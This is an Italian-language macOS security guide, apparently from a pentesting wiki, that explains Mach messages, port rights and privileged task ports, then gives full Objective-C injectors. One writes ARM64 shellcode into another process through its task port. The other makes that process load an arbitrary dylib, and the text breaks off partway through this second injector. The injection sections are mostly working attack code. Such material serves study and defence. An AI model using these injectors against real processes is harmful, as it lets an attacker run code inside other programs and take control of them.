La funzione `mach_msg`, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto effettivo del messaggio. La struttura è definita come segue:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, ai **mittenti** viene concesso un _**diritto di invio**_ o un _**diritto di invio-una-volta**_. Il diritto di invio-una-volta è esclusivamente per l'invio di un singolo messaggio, dopo il quale diventa non valido.
|
||||
|
||||
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **porta mach** nell'**intestazione del messaggio** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevitore** del messaggio può **inviare una risposta** a questo messaggio. I bitflags in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio-una-volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bi-direzionale.
|
||||
|
||||
Gli altri campi dell'intestazione del messaggio sono:
|
||||
|
||||
- `msgh_size`: la dimensione dell'intero pacchetto.
|
||||
- `msgh_remote_port`: la porta sulla quale questo messaggio è inviato.
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
|
||||
- `msgh_id`: l'ID di questo messaggio, che è interpretato dal ricevitore.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che **i messaggi mach vengono inviati su una \_porta mach**\_, che è un canale di comunicazione **a singolo ricevitore**, **multipli mittenti** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una porta mach, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
|
||||
|
||||
### Enumerare porte
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
Puoi installare questo strumento su iOS scaricandolo da [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Esempio di codice
|
||||
|
||||
Nota come il **mittente** **alloca** una porta, crea un **diritto di invio** per il nome `org.darlinghq.example` e lo invia al **server di bootstrap** mentre il mittente richiede il **diritto di invio** di quel nome e lo utilizza per **inviare un messaggio**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Porte Privilegiate
|
||||
|
||||
- **Porta host**: Se un processo ha il privilegio di **Invio** su questa porta, può ottenere **informazioni** sul **sistema** (ad es. `host_processor_info`).
|
||||
- **Porta priv di host**: Un processo con diritto di **Invio** su questa porta può eseguire **azioni privilegiate** come il caricamento di un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
|
||||
- Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che sono concessi solo ai binari Apple.
|
||||
- **Porta nome task:** Una versione non privilegiata della _porta task_. Riferisce al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile attraverso di essa è `task_info()`.
|
||||
- **Porta task** (nota anche come porta kernel)**:** Con permesso di Invio su questa porta è possibile controllare il task (leggere/scrivere memoria, creare thread...).
|
||||
- Chiama `mach_task_self()` per **ottenere il nome** di questa porta per il task chiamante. Questa porta è solo **eredita** attraverso **`exec()`**; un nuovo task creato con `fork()` ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopo `exec()` in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mentre si esegue un `fork()`.
|
||||
- Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`):
|
||||
- Se l'app ha il diritto **`com.apple.security.get-task-allow`**, i processi dello **stesso utente possono accedere alla porta task** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo consentirà per le versioni di produzione.
|
||||
- Le app con il diritto **`com.apple.system-task-ports`** possono ottenere la **porta task per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple.
|
||||
- **Root può accedere alle porte task** delle applicazioni **non** compilate con un runtime **indurito** (e non da Apple).
|
||||
|
||||
### Iniezione di Shellcode in thread tramite Porta task
|
||||
|
||||
Puoi prendere un shellcode da:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (altrimenti dovrai usare **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Iniezione di Dylib in thread tramite Task port
|
||||
|
||||
In macOS **i thread** possono essere manipolati tramite **Mach** o utilizzando **l'api posix `pthread`**. Il thread che abbiamo generato nell'iniezione precedente è stato generato utilizzando l'api Mach, quindi **non è conforme a posix**.
|
||||
|
||||
È stato possibile **iniettare un semplice shellcode** per eseguire un comando perché **non doveva funzionare con api** conformi a posix, solo con Mach. **Iniezioni più complesse** richiederebbero che il **thread** fosse anche **conforme a posix**.
|
||||
|
||||
Pertanto, per **migliorare il thread** dovrebbe chiamare **`pthread_create_from_mach_thread`** che **creerà un pthread valido**. Poi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare un dylib** dal sistema, quindi invece di scrivere nuovo shellcode per eseguire diverse azioni è possibile caricare librerie personalizzate.
|
||||
|
||||
Puoi trovare **dylibs di esempio** in (ad esempio quello che genera un log e poi puoi ascoltarlo):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
